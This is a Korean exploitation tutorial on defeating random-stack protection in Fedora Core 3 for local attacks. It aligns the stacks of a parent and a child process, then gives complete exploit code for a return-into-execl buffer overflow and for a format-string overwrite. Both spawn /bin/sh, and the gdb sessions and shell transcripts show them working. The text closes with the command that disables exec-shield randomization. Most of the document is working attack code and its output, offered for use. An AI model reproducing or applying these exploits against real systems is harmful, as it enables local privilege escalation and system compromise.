--------------------------------------------------------------------------------------------------- 제목: Fedora Core3 시스템 local 기반 랜덤 스택 무력화(?) 기법 (Fedora Core 3 based local random-stack brute-force breaker) 부제: 무식하게 찍지만 말고 -_- 좀 더 지능적인 찍기가 필요한 시점. 테스트 환경: Fedora Core release 3 (Heidelberg) Linux 2.6.9-1.667 #1 Tue Nov 2 14:41:25 EST 2004 작성자: 유동훈 - Xpl017Elz http://x82.inetcop.org --------------------------------------------------------------------------------------------------- 이번에 설명하는 local 기반 랜덤 스택 무력화(?) 기법 역시 새로운 기술은 아닙니다. 이 기법 역시 누구나 생각할 수 있으며 공격 적용이 가능한 exploit method 입니다. 이 방법을 통해 사용자가 stack에 입력하는 내용을 조금 더 쉽게 찾을 수 있고, 이용할 수 있을 것입니다. 단순히 stack에 입력하는 데이터를 활용하는 것만으로 버퍼 오버플로우와 포맷 스트링 공격에 한층 더 유리하다는 점을 증명할 것입니다. 제목에는 랜덤 스택 무력화 기법이라고 정의해두었지만, 좋은 말로 써서 무력화 기법일 뿐, 마찬가지의 찍기 노가다 공격입니다. 이렇게 먼저 말씀드리는 이유는 랜덤 스택 무력화 알고리즘에 대해 미칠듯한 궁금증이 있거나 그것을 마치 체계적인 이론으로 풀고자하는 그런 분들에게는 별다른 도움 안되는 문서가 되리라 판단했기 때문입니다. 이 글은 단지 랜덤 스택 시스템 상의 local 기반 공격에 성공률을 높이고자 쓰인 문서입니다. (이렇게 먼저 글의 성격을 말씀드렸으니 쓸모없다 판단되시는 분들은 살포시 문서를 닫아주세요 ^^) 넋두리는 이쯤해두고 실질적인 공격 알고리즘에 대해 알아보도록 하겠습니다. * 랜덤 스택에 대해서. 랜덤 스택은 말 그대로 스택의 주소가 바뀐다라는 뜻입니다. 스택이란 공간은 사용자가 실행한 프로그램 내의 유동적인 데이터를 처리하는 저장소라 할 수 있죠. 이 공간의 속성 상, 프로그램이 읽고 쓰고 또 실행할 수 있는 영역이기 때문에 과거부터 해커들은 성공적인 exploit을 위해 이 공간을 이용하곤 했습니다. 잠깐, nonexec-stack에 대해서도 설명을 덧붙인다면, 스택의 속성을 약간 변경하여 실행할 수 있는 권한을 제거해버린 상태라 할 수 있습니다. 그런데 이 영역의 위치가 가변적이기까지 하다면, 정말 해커들이 스택 공간을 이용해 공격하기란 힘들어지겠군요. 그래서 해커들도 나름대로는 각자의 연구 끝에 스택 영역 없이도 공격한다거나, 스택 영역을 적절히 활용하는 노하우를 통해 공격에 성공할 수 있도록 많은 기술들을 개발하고 있습니다. 아직까진 과거 Phrack 49-14 Aleph1의 글처럼 공식화된 기법이 나오진 않은 것 같습니다. (앞으로도 힘들지 모르지요.) 실제 랜덤 스택에 대해 살펴보도록 하겠습니다. -- (gdb) br main Breakpoint 1 at 0x804836e (gdb) r xxxx Starting program: /var/tmp/strcpy xxxx (no debugging symbols found)...(no debugging symbols found)... Breakpoint 1, 0x0804836e in main () (gdb) x/x $ebp 0xfeefcb78: 0xfeefcbd8 (gdb) x/x $esp 0xfeefcb70: 0x00000000 (gdb) r The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /var/tmp/strcpy xxxx (no debugging symbols found)...(no debugging symbols found)... Breakpoint 1, 0x0804836e in main () (gdb) x/x $ebp 0xfef34f08: 0xfef34f68 (gdb) x/x $esp 0xfef34f00: 0x00000000 (gdb) -- 어떤가요? 같은 프로그램을 두 번 정도 실행해본 결과 매번 stack의 값이 변하는 것을 볼 수 있습니다. 우리는 바로 이런 문제를 해결하여 우리가 원하는 stack 내의 값을 읽거나 쓰도록 할 것입니다. * 랜덤 스택 따라 잡기. 무턱대고 stack의 주소를 찍는다는 것은 매우 피곤한 일입니다. 그래서 다음과 같은 방법을 사용해보았습니다. -- [root@localhost test]# cat test.c int main() { char buf[8]; printf("%p\n",&buf); } [root@localhost test]# cat test1.c int main() { char buf[8]; printf("%p\n",&buf); } [root@localhost test]# ./test ; ./test1 0xfefe1910 0xfefd5a40 [root@localhost test]# ./test ; ./test1 0xfefb5360 0xfef21490 [root@localhost test]# ./test ; ./test1 0xfeedeb10 0xfef0f750 [root@localhost test]# ./test ; ./test1 0xfefd32d0 0xfefe53a0 [root@localhost test]# ./test ; ./test1 0xfef096f0 0xfeea1860 [root@localhost test]# ./test ; ./test1 0xfee0b210 0xfefb5750 [root@localhost test]# -- 우선, stack의 구성을 비슷하도록 만든 두 프로그램을 동시에 실행시켜본 결과 두 스택이 전혀 일치하지 않는다는 것을 확인했습니다. 그러나, 다음과 같이 프로그램을 다른 프로그램의 자식프로세스로 실행해보면 재미있는 현상이 발생합니다. -- [root@localhost test]# cat test.c int main() { char buf[8]; printf("%p\n",&buf); execl("./test1","test1",0); } [root@localhost test]# cat test1.c int main() { char buf[8]; printf("%p\n",&buf); } [root@localhost test]# ./test 0xfee9cff0 0xfef13240 [root@localhost test]# ./test 0xfefcb3d0 0xfefd9800 [root@localhost test]# ./test 0xfeeb0d90 0xfef85010 [root@localhost test]# ./test 0xfef799d0 0xfef4d830 [root@localhost test]# ./test 0xfeee17f0 0xfeee17f0 <=== 일치 [root@localhost test]# ./test 0xfee3d510 0xfef38e70 [root@localhost test]# -- 위 결과를 보면, stack을 유추하는 일이 그리 어렵지만은 않다는 사실을 보여주고 있습니다. 5~6회 공격에 한 번 이상 stack이 일치하기만 해도, 공격은 매우 수월해집니다. 이러한 사실을 통해 프로그램의 환경 변수 값부터 공격하고자 하는 프로그램의 return address까지 추측 가능하다는 것을 알 수 있습니다. 이 방법의 장단점에 대해 간단히 설명하겠습니다. 우선, 이 방법의 장점은 stack 이라는 공간을 활용할 수 있기 때문에 불가능할 것으로만 생각됐던 여러가지 공격들의 적용이 가능해졌다는 점입니다. 그러나 공격 target 프로그램과 스택의 값을 정확히 일치시키기 위해 변수의 크기 유추 및 정확한 디버깅 과정이 반드시 필요합니다. (약간의 계산 과정이 필요할 수도 있습니다.) 이런 과정들과 함께 자식 프로세스로 실행해야 된다는 제약 사항이 있기 때문에 remote 공격은 시도할 수 없는 것이 단점입니다. 반드시 local 기반 공격에서만 적용 가능합니다. * 따라 잡은 랜덤 스택 상에서 오버플로우 공격 시도하기 페도라 시스템에서는 16m 미만의 라이브러리 주소를 지원하기 때문에 여러 함수를 call 하는 것이 허용되지 않습니다. 또한, 함수의 인자로 설정되는 값들을 입력할 수 없기 때문에 공격이 다소 까다로워진 편이죠. (이를테면, execl 함수의 인자로 실행할 값을 메모리 주소에서 찾은 후, 해당 주소에 있는 값들을 직접 symlink 하여 shell을 실행하는 방식입니다.) 하지만, 우리가 stack상에서 원하는 값을 찾아 얻을 수 있다면 이러한 과정을 거치지 않고 shell 실행이 가능합니다. 그럼, 공격의 시나리오에 대해 간단히 설명하겠습니다. 1. return address를 execl+3 주소 덮어씌운다. ($ebp 레지스터의 변경이 끝난 시점) 2. 환경 변수의 마지막에 자리잡는 NULL 4byte 바로 앞에 execl 인자로 쓸 세 개의 값을 만든다. (int execl( const char *path, const char *arg, ...); - 총 세 개의 인자가 들어감) 3. 2번에서 설정한 주소가 알맞게 인자값으로 쓰일 수 있도록 $ebp 레지스터를 조정한다. ($ebp + 8 위치 부터 첫 번째 인자를 읽어오므로, 이에 맞게 조정해준다.) 원리는 이미 알려진 execl 함수 공격 기법이기 때문에 생략하겠습니다. 중요한 핵심 포인트는 우리가 필요로 하는 인자 값의 위치를 stack 상에 만든다는 사실입니다. execl 마지막 인자의 NULL 값은 환경 변수의 끝 부분을 이용하여 exploit 할 수 있습니다. 어떠한 구조로 공격이 가능한지 실제로 살펴보도록 하겠습니다. -- 공격 대상 프로그램 소스: -- int main(int argc,char *argv[]) { char buf[8]; strcpy(buf,argv[1]); } -- main() 함수 내에 일반적인 버퍼 오버플로우 취약점이 존재하는 code를 통해 exploit 해볼 것입니다. -- (gdb) br main Breakpoint 1 at 0x8048441 (gdb) r xxx Starting program: /var/tmp/i xxx (no debugging symbols found)...(no debugging symbols found)... Breakpoint 1, 0x08048441 in main () (gdb) x/x &environ 0xf6fdd19c : 0xfee29090 <=== 현재 환경변수 포인터 (gdb) x 0xfee29090 0xfee29090: 0xfef14c71 <=== 환경변수 시작 위치 (gdb) x/s 0xfef14c71 0xfef14c71: "HOSTNAME=localhost" (gdb) 0xfef14c84: "TERM=xterm" (gdb) 0xfef14c8f: "SHELL=/bin/bash" (gdb) 0xfef14c9f: "HISTSIZE=1000" (gdb) 0xfef14cad: "USER=root" (gdb) 0xfef14cb7: "LS_COLORS=no=00:fi=00:di=00;34:ln=00;36:pi=40;33:so=00;35:bd=40;33;01:cd=40;33;01:or=01;05;37;41:mi=01;05;37;41: ex=00;32:*.cmd=00;32:*.exe=00;32:*.com=00;32:*.btm=00;32:*.bat=00;32:*.sh=00;32:*.csh=00"... (gdb) 0xfef14d7f: ";32:*.tar=00;31:*.tgz=00;31:*.arj=00;31:*.taz=00;31:*.lzh=00;31:*.zip=00;31:*.z=00;31:*.Z=00;31:*.gz=00;31:*.bz2 =00;31:*.bz=00;31:*.tz=00;31:*.rpm=00;31:*.cpio=00;31:*.jpg=00;35:*.gif=00;35:*.bmp=00;3"... (gdb) 0xfef14e47: "5:*.xbm=00;35:*.xpm=00;35:*.png=00;35:*.tif=00;35:" (gdb) 0xfef14e7a: "COLUMNS=80" (gdb) 0xfef14e85: "PATH=/usr/kerberos/sbin:/usr/kerberos/bin:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin:/usr/X11R 6/bin:/root/bin" (gdb) 0xfef14f05: "MAIL=/var/spool/mail/root" (gdb) 0xfef14f1f: "_=/bin/bash" (gdb) 0xfef14f2b: "PWD=/var/tmp" (gdb) 0xfef14f38: "INPUTRC=/etc/inputrc" (gdb) 0xfef14f4d: "LANG=en_US.UTF-8" (gdb) 0xfef14f5e: "LINES=24" (gdb) 0xfef14f67: "SSH_ASKPASS=/usr/libexec/openssh/gnome-ssh-askpass" (gdb) 0xfef14f9a: "HOME=/root" (gdb) 0xfef14fa5: "SHLVL=1" (gdb) 0xfef14fad: "LOGNAME=root" (gdb) 0xfef14fba: "LESSOPEN=|/usr/bin/lesspipe.sh %s" (gdb) 0xfef14fdc: "G_BROKEN_FILENAMES=1" (gdb) 0xfef14ff1: "/var/tmp/i" (gdb) x/s 0xfef14ff1-2 0xfef14fef: "1" (gdb) 0xfef14ff1: "/var/tmp/i" (gdb) 0xfef14ffc: "" (gdb) x/x 0xfef14ff1-2 0xfef14fef: 0x762f0031 (gdb) 0xfef14ff3: 0x742f7261 ~~~~~~~~~~ <=== execl 함수의 첫 번째 인자로 쓰일 위치 (gdb) 0xfef14ff7: 0x692f706d ~~~~~~~~~~ <=== execl 함수의 두 번째 인자로 쓰일 위치 (gdb) 0xfef14ffb: 0x00000000 ~~~~~~~~~~ <=== execl 함수의 세 번째 인자로 쓰일 위치 (gdb) -- 잘 살펴보면, G_BROKEN_FILENAMES 환경변수를 마지막으로 실행 중인 파일 경로가 위치해 있는 것을 볼 수 있습니다. 그리고 환경변수 끝 부분에 4byte의 NULL 값이 자리 잡고 있다는 사실도 알 수 있구요. 이 같은 상황들을 잘 이용하면, execl 함수의 인자를 만드는데 문제가 없을 것 같군요. 우선, 파일 이름을 symlink를 이용하여 "/bin/sh"의 위치로 변경합니다. 그리고, 이 값들을 읽어올때는 환경변수의 마지막 위치에 있는 G_BROKEN_FILENAMES 변수를 얻어오면 됩니다. 간단하지 않은가요? 실제로 다음과 같이 구성할 수 있습니다. -- [root@localhost tmp]# ldd i libc.so.6 => /lib/tls/libc.so.6 (0xf6eb8000) /lib/ld-linux.so.2 (0xf6fe9000) [root@localhost tmp]# objdump -s /lib/tls/libc.so.6 |grep /bin/sh 117600 2d63002f 62696e2f 73680065 78697420 -c./bin/sh.exit [root@localhost tmp]# gdb -q i (no debugging symbols found)...Using host libthread_db library "/lib/tls/libthread_db.so.1". (gdb) br main Breakpoint 1 at 0x804863d (gdb) r xxxx Starting program: /var/tmp/i xxxx (no debugging symbols found)...(no debugging symbols found)... (gdb) x/s 0xf6eb8000 + 0x117603 0xf6fcf603 <__libc_ptyname1+2172>: "/bin/sh" <=== 먼저 libc.so 상의 "/bin/sh" 위치를 구했습니다. (gdb) q The program is running. Exit anyway? (y or n) y [root@localhost tmp]# ln -s i `printf "\x03\xf6\xfc\xf6\x03\xf6\xfc\xf6"` [root@localhost tmp]# gdb -q `printf "\x03\xf6\xfc\xf6\x03\xf6\xfc\xf6"` (no debugging symbols found)...Using host libthread_db library "/lib/tls/libthread_db.so.1". (gdb) br main Breakpoint 1 at 0x804863d (gdb) r xxxx Starting program: /var/tmp/琢拓哮 xxxx (no debugging symbols found)...(no debugging symbols found)... Breakpoint 1, 0x0804863d in main () (gdb) x/x &environ 0xf6fdd19c : 0xfefdcb90 (gdb) x/x 0xfefdcb90 0xfefdcb90: 0xfefeec6a (gdb) x/s 0xfefeec6a 0xfefeec6a: "HOSTNAME=localhost" (gdb) 0xfefeec7d: "TERM=xterm" (gdb) 0xfefeec88: "SHELL=/bin/bash" (gdb) 0xfefeec98: "HISTSIZE=1000" (gdb) 0xfefeeca6: "USER=root" (gdb) 0xfefeecb0: "LS_COLORS=no=00:fi=00:di=00;34:ln=00;36:pi=40;33:so=00;35:bd=40;33;01:cd=40;33;01:or=01;05;37;41:mi=01;05;37;41: ex=00;32:*.cmd=00;32:*.exe=00;32:*.com=00;32:*.btm=00;32:*.bat=00;32:*.sh=00;32:*.csh=00"... (gdb) 0xfefeed78: ";32:*.tar=00;31:*.tgz=00;31:*.arj=00;31:*.taz=00;31:*.lzh=00;31:*.zip=00;31:*.z=00;31:*.Z=00;31:*.gz=00;31:*.bz2 =00;31:*.bz=00;31:*.tz=00;31:*.rpm=00;31:*.cpio=00;31:*.jpg=00;35:*.gif=00;35:*.bmp=00;3"... (gdb) 0xfefeee40: "5:*.xbm=00;35:*.xpm=00;35:*.png=00;35:*.tif=00;35:" (gdb) 0xfefeee73: "COLUMNS=80" (gdb) 0xfefeee7e: "PATH=/usr/kerberos/sbin:/usr/kerberos/bin:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin:/usr/X11R 6/bin:/root/bin" (gdb) 0xfefeeefe: "MAIL=/var/spool/mail/root" (gdb) 0xfefeef18: "_=/bin/bash" (gdb) 0xfefeef24: "PWD=/var/tmp" (gdb) 0xfefeef31: "INPUTRC=/etc/inputrc" (gdb) 0xfefeef46: "LANG=en_US.UTF-8" (gdb) 0xfefeef57: "LINES=24" (gdb) 0xfefeef60: "SSH_ASKPASS=/usr/libexec/openssh/gnome-ssh-askpass" (gdb) 0xfefeef93: "HOME=/root" (gdb) 0xfefeef9e: "SHLVL=1" (gdb) 0xfefeefa6: "LOGNAME=root" (gdb) 0xfefeefb3: "LESSOPEN=|/usr/bin/lesspipe.sh %s" (gdb) 0xfefeefd5: "G_BROKEN_FILENAMES=1" (gdb) 0xfefeefea: "/var/tmp/\003琢?003琢? (gdb) x/x 0xfefeeff4-13 0xfefeefe7: 0x2f00313d (gdb) 0xfefeefeb: 0x2f726176 (gdb) 0xfefeefef: 0x2f706d74 (gdb) 0xfefeeff3: 0xf6fcf603 ~~~~~~~~~~ <=== execl 함수의 첫 번째 인자로 쓰일 위치 (gdb) 0xfefeeff7: 0xf6fcf603 ~~~~~~~~~~ <=== execl 함수의 두 번째 인자로 쓰일 위치 (gdb) 0xfefeeffb: 0x00000000 ~~~~~~~~~~ <=== execl 함수의 세 번째 인자로 쓰일 위치 (gdb) x/s 0xf6fcf603 0xf6fcf603 <__libc_ptyname1+2172>: "/bin/sh" (gdb) -- 완벽하게 execl 함수 인자를 stack 내에 구현하였습니다. 이제 우리의 exploit이 이 위치를 찾아 공격 target 프로그램의 $ebp 레지스터로 변경하면 될 것 같네요. 하지만 exploit code를 구동해 본 결과, 지금까지 디버깅해온 과정에서 얻어온 값과 실제 공격 시 환경변수 위치 값이 다른 것을 확인할 수 있었습니다. 일단 환경변수 끝 부분의 달라진 메모리 부분만 얻어보면 다음과 같습니다. -- exploit 프로그램을 실행했을 때 환경 변수 끝 부분 -- "G_BROKEN_FILENAMES=1" "\x00" "_=./exploit" "\x00" "./exploit" "\x00\x00\x00\x00" -- "\x03\xf6\xfc\xf6\x03\xf6\xfc\xf6"로 이름을 변경한 공격 대상 프로그램 환경 변수 끝 부분 -- "G_BROKEN_FILENAMES=1" "\x00" "_=./exploit" "\x00" "\x03\xf6\xfc\xf6\x03\xf6\xfc\xf6" "\x00\x00\x00\x00" -- gdb 디버깅 시, 발견되지 않았던 "_=./exploit"은 무엇일까요? 네, 그렇습니다. 커멘드 라인으로 실행한 마지막 명령이 기록된 것입니다. 부모와 자식 관계로 실행되는 두 프로세스의 메모리 주소를 맞추려면 환경변수의 위치 값도 같아져야 겠죠. 그래서 8byte의 이름을 차지하는 공격 대상 프로그램과 동일하게 exploit의 실행 경로도 8byte로 변경해줍니다. 앞에 "./"가 붙기 때문에 이름을 6자리로 맞추도록 하겠습니다. 이렇게 맞추고 나면 공격 후, 다음과 같은 메모리 상태가 됩니다. -- "G_BROKEN_FILENAMES=1" "\x00" "_=./XXXXXX" (exploit 이름을 XXXXXX으로 변경 후, 실행) "\x00" "\x03\xf6\xfc\xf6\x03\xf6\xfc\xf6" (공격 대상 프로그램의 이름을 symlink로 변경) "\x00\x00\x00\x00" -- 우리가 얻은 G_BROKEN_FILENAMES 환경변수의 위치는 문자열 "1"이 있는 부분이므로, execl 함수 첫 번째 인자로 쓰일 위치는 변수보다 13byte 후에 있는 것을 알 수 있습니다. $ebp + 8byte 위치에 첫 번째 인자 값이 오게하려면 우리가 덮어씌울 $ebp 레지스터는 G_BORKEN_FILENAMES 환경변수의 값에 +5byte를 더한 주소를 넣어주면 됩니다. 다음은 완성된 exploit code 입니다. -- exploit.c -- int main(int argc,char *argv[]) { char buf[256]; long l=getenv("G_BROKEN_FILENAMES")+5; memset(buf,0,sizeof(buf)); sprintf(buf,"XXXX0000" "%c%c%c%c" /* environment argument address - 8 */ "\x23\x17\xf4\xf6", // execl+3 (l>>0)&0xff, (l>>8)&0xff, (l>>16)&0xff, (l>>24)&0xff); // printf("code: %s\n",buf); execl("\x03\xf6\xfc\xf6\x03\xf6\xfc\xf6", // "/bin/sh" , "/bin/sh" "\x03\xf6\xfc\xf6\x03\xf6\xfc\xf6",buf,0); } -- 다음과 같이 공격해보았습니다. -- [x82@localhost tmp]$ gcc -o exploit exploit.c [x82@localhost tmp]$ ls -al `printf "\x03\xf6\xfc\xf6\x03\xf6\xfc\xf6"` lrwxrwxrwx 1 x82 x82 1 Dec 12 19:53 ???????? -> p [x82@localhost tmp]$ ln -s exploit aaaaaa [x82@localhost tmp]$ ./aaaaaa Segmentation fault [x82@localhost tmp]$ ./aaaaaa Segmentation fault [x82@localhost tmp]$ ./aaaaaa sh-3.00$ -- 총 세 번의 공격에 성공한 것을 볼 수 있습니다. 이와 같이 execl 함수에 원하는 인자 값을 넣어줄 수 있으므로, 실행하고자 하는 명령을 지정하여 사용할 수 있습니다. * 따라 잡은 랜덤 스택 상에서 포맷스트링 공격 시도하기 이번엔 포맷스트링 공격을 통해 shell을 실행해보도록 하겠습니다. 포맷스트링 기법은 상대적으로 오버플로우 기법보다 exploit 하기 까다롭습니다. 그 이유는 공격 대상 프로그램의 return address 위치를 정확하게 파악해야 되기 때문입니다. 이 과정을 위해 exploit 코드가 사용하는 스택을 공격 대상 프로그램의 스택 상태와 똑같이 구성해주어야 합니다. 포맷스트링 공격의 공격 시나리오는 다음과 같습니다. 1. 공격 대상 프로그램의 return address를 예측한다. 2. 예측한 return address에 execl() 주소를 넣어준다. 3. 예측한 return address + 4 ($ebp + 8) 위치부터 execl() 함수의 각 인자들을 넣어준다. 포맷스트링 공격은 return address 각 위치를 정확히 파악하는 것이 관건입니다. 랜덤 스택을 추측했던 방법으로 스택의 위치를 찾아보도록 하겠습니다. 먼저 공격 대상 프로그램 소스 코드입니다. -- vuln.c -- int main(int argc,char *argv[]) { char buf[256]; strncpy(buf,argv[1],sizeof(buf)-1); printf(buf); printf("\n"); } -- 다음은 위의 취약한 코드를 공격할 exploit 코드입니다. -- #include char *buff=NULL; int flags=12; /* 12번째 $-flag에서 찾을 수 있음 */ int main(int argc,char *argv[]) { char buf[256]; long l=(&buf); l=(l+256+12); /* return address value */ buff=malloc(1024); sprintf(buff, "%c%c%c%c" /* execl */ "%c%c%c%c" "%c%c%c%c" /* execl argument1 */ "%c%c%c%c" "%c%c%c%c" /* execl argument2 */ "%c%c%c%c" "%c%c%c%c" /* execl argument3 */ "%c%c%c%c" "%%5888x%%%d$n%%57300x%%%d$n" // 0xf6f41720: execl(); "%%65295x%%%d$n%%249x%%%d$n" // 0xf6fcf603: "/bin/sh" "%%65287x%%%d$n%%249x%%%d$n" // 0xf6fcf603: "/bin/sh" "%%2308x%%%d$n%%65536x%%%d$n", // NULL (l+0>>0)&0xff,(l>>8)&0xff,(l>>16)&0xff,(l>>24)&0xff, (l+2>>0)&0xff,(l>>8)&0xff,(l>>16)&0xff,(l>>24)&0xff, (l+8>>0)&0xff,(l>>8)&0xff,(l>>16)&0xff,(l>>24)&0xff, (l+10>>0)&0xff,(l>>8)&0xff,(l>>16)&0xff,(l>>24)&0xff, (l+12>>0)&0xff,(l>>8)&0xff,(l>>16)&0xff,(l>>24)&0xff, (l+14>>0)&0xff,(l>>8)&0xff,(l>>16)&0xff,(l>>24)&0xff, (l+16>>0)&0xff,(l>>8)&0xff,(l>>16)&0xff,(l>>24)&0xff, (l+18>>0)&0xff,(l>>8)&0xff,(l>>16)&0xff,(l>>24)&0xff, flags+0,flags+1, flags+2,flags+3, flags+4,flags+5, flags+6,flags+7); printf("size: %d\n",strlen(buff)); fflush(stdout); execl("./vuln","vuln",buff,0); free(buff); } -- 위의 exploit code를 간단하게 설명하자면, 우선, stack에 할당시킨 배열 변수보다 12byte 뒤에 return address 주소가 있다는 것을 가정하고, 이렇게 예측한 return address 주소에 execl() 함수 주소를 overwrite 합니다. 그 다음 4byte 부터 execl() 함수의 인자 값을 세 개를 차례대로 덮어 씌워줍니다. -- [return address][return address+4][return address+8][return address+12][return address+16] [ execl addr ][ blank ][ execl argument1][ execl argument2 ][ execl argument3 ] -- 이제 exploit code를 실행해보도록 하겠습니다. -- [x82@localhost test]$ gcc -o exploit exploit.c exploit.c: In function `main': exploit.c:8: warning: initialization makes integer from pointer without a cast [x82@localhost test]$ ./exploit size: 122 lQ��nQ��tQ��vQ��xQ��zQ��|Q��~Q�� ... 중 략 ... Segmentation fault [x82@localhost test]$ ./exploit size: 122 ^L룩�룩�룩�룩�룩�룩�룩�룩� ... 중 략 ... 0 [x82@localhost test]$ ./exploit size: 122 ... 중 략 ... Segmentation fault [x82@localhost test]$ ./exploit size: 122 ... 중 략 ... 0 [x82@localhost test]$ -- 위와 같이 여러번 공격을 시도해보았으나, shell을 실행할 수 없었습니다. exploit 코드와 공격 대상 코드의 다른 점을 조사해본 결과, 예측하고 있는 return address 주소가 일치하지 않다는 사실을 알 수 있었습니다. 그 이유는 바로 프로그램의 argument 때문이었습니다. 우선 공격 대상 프로그램 이름과 exploit 코드의 이름이 3byte 이상 차이가 났고 공격 대상 프로그램에 첫 번째 인자로 입력되는 122byte 문자열이 stack에 들어가면서 exploit 코드의 stack 구조와 다르게 만들어 버렸기 때문에 return address 주소도 달라진 것입니다. 그래서 exploit code의 이름도 공격 대상 프로그램과 같게 변경 후, 똑같이 122byte의 문자열을 첫 번째 인자로 넣어주고 실행해보았습니다. -- [x82@localhost test]$ ln -s exploit xxxx [x82@localhost test]$ while [ 1 ] ; do ./xxxx `perl -e 'print "x"x122'` ; done ... 중 략 ... 0 sh-3.00$ ps PID TTY TIME CMD 32605 pts/1 00:00:00 bash 13136 pts/1 00:00:00 bash 13284 pts/1 00:00:00 sh 13285 pts/1 00:00:00 ps sh-3.00$ -- 쉘스크립트 while 무한 루프로 공격을 시도한 결과, 여러번의 시도 끝에 shell을 실행할 수 있었습니다. 이와 같이 포맷스트링 공격은 return address를 찾는 과정만 까다로울 뿐, 정확한 주소를 예측하고 나면 공격은 비교적 쉽게 성공할 수 있습니다. * 결 론. random-stack 기능을 적당히 무력화한 후, 스택 기반 오버플로우 공격과 포맷스트링 공격을 적용해보았습니다. 실제로 커널 상에서 시행 중인 random-stack 기능을 비활성화시키려면 "/proc/sys/kernel/exec-shield-randomize" 파일의 내용을 "0"으로 변경해주면 됩니다. -- [root@localhost test]# cat /proc/sys/kernel/exec-shield-randomize 1 [root@localhost test]# echo "0" > /proc/sys/kernel/exec-shield-randomize -- 공격은 점차 힘들어지고 있지만, 이러한 환경 속에서도 불가능은 없다고 생각합니다. 때때로 보잘 것 없이 자그마한 트릭 하나가 불가능을 가능하게 만들어 주기 때문이죠. ^^ 앞으로 여러분들도 지속적인 연구를 통해 여러가지 가능성들을 경험해보시길 바랍니다. 그럼, 이만 문서를 끝 마치도록 하겠습니다. :-} P.S: 포맷스트링 공격 부분은 피치 못할 사정으로 후다닥 끝 맺게 되었습니다. 문서에 부분적인 오류가 있을 수 있으니, 문의 사항은 제 이메일로 피드백 해주시기 바랍니다. ^^ 감사합니다.